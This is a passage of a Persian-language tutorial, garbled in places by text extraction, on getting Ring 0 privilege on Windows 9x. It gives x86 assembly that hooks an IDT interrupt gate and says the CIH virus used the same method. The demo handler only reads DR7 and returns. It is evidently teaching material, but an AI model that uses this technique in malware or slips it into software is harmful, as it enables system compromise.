    UCHAR   TCB_extErrLocus;            /* extended  error Locus */ 
    USHORT  TCB_extErr;                 /* extended  error Code */ 
    UCHAR   TCB_extErrAction;           /*      "   "   Action */ 
    UCHAR   TCB_extErrClass;            /*      "   "   Class */ 
    ULONG   TCB_extErrPtr;              /*      "   pointer */ 
}Thread_Control_Block; 
 
typedef struct 
{ 
DWORD CB_VM_Status      ; 
DWORD CB_High_Linear    ; 
DWORD CB_Client_Pointer ; 
DWORD CB_VMID           ; 
DWORD CB_Signature      ; 
}Control_Block; 
#endif 
------------------------------------CUT------------ ------------------
-------- 
 

  
 نويسنده )جدول توصيفگر وقفه(IDT بوسيله Ring 0بنظر من مثالهاي اسمبلر خوانا تر بوده اين هم روش سوئئچ كردن به 

aka EliCZ:  
  

 نيز از CIH ديدم و چندي بعد ويروس EliCZاين كد را براي اولين بار نزد دوست خود .اين روش معروفترين روش ميباشد
  .اين روش بهره گرفت

-anti سوئيچ كنند از اين روش بهره ميگيرند اما بعضي از ابزارهاي Ring 0از برنامه نويساني كه ميخواهند به بسياري 

debugمانند ( اين روش را شناسايي ميكنندfrog-ice,icedump(  
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.386p 
.MODEL FLAT,STDCALL 
locals 
jumps 
UNICODE=0 
include w32.inc 
 
 
Extrn SetUnhandledExceptionFilter : PROC 
 
Interrupt       equ 5              ;interrupt numbe r which we will 
use 
                                   ;if you use Int 1h or 3h, it will 
be 
                                   ;more harder deb ugg your program 
.DATA 
 
msg1            db "Switch to Ring0 by IDT",0 
msg2            db "Ring0 activated",0 
 
 
.CODE 
Start: 
 
                push edx 
                sidt [esp-2]       ;read IDT to sta ck 
                pop  edx           ;address of Inte rrupt table 
                add  edx,(Interrupt*8)+4 
                                   ;Interrupt table  base+Int 
number+size for 
                                   ;Int in Interrup t table=Int vector 
address 
                mov  ebx,[edx] 
                mov  bx,word ptr [edx-4] 
                                   ;read old addres s our interrupt 
(INT 5h) 
 
                lea  edi,InterruptHandler 
                mov  [edx-4],di 
                ror  edi,16        ;set our new int errupt handler 
                mov  [edx+2],di 
 
                push ds            ;save registers 
                push es 
 
 
                int  Interrupt     ;jump to Ring0 ( our int 5h 
handler) 
 
                pop  es            ;restore registe rs 
                pop  ds 
 
 
                mov  [edx-4],bx    ;set old int 5h handler 
                ror  ebx,16 
                mov  [edx+2],bx 
 
                call MessageBoxA,0, offset msg2, of fset msg1,0 
                call ExitProcess, -1 
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;-------------------------------------------------- ------------------
--------- 
;OUR NEW INT 5h HANDLER (it run in Ring0) 
;-------------------------------------------------- ------------------
--------- 
 
InterruptHandler: 
 
                mov  eax,dr7       ;test for Ring0 
                iretd              ;jump back to Ri ng3 
 
 
 
ends 
end Start 

 
  

  

  

  

  

  

  

  

  

  


